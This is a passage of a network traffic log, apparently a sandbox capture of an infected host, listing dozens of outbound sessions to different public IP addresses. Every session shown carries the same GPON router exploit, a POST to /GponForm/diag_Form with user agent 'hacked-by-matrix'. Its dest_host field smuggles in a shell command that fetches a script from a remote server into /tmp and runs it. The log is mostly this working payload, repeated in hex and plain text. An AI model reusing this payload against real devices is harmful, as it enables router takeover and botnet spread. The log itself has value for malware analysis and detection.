Mar 21, 2024 05:25:10.964843035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	58036	5.255.110.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964864016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	42044	118.183.176.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964871883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	52406	2.125.32.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964931965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	51886	178.98.116.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964947939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	52344	212.106.198.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964968920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	34080	212.164.66.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964977026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	43826	212.216.110.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965048075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	57496	79.31.105.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965075016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	45446	42.51.157.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965127945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	52150	42.130.175.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965140104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	54260	178.160.121.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965164900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	51052	42.156.164.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965193033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	55772	118.50.121.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965198040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	43780	2.92.59.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965249062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	36172	212.218.137.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965264082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	47950	109.216.223.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965303898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	42784	109.245.108.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965321064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	44706	118.187.65.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965372086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	48426	109.120.127.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965396881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	39692	210.111.221.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965450048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	52712	79.162.105.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965470076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	60680	37.202.211.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965497017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	34336	94.122.150.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.965526104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	38106	94.1.33.112	443

Timestamp	Bytes transferred	Direction	Data
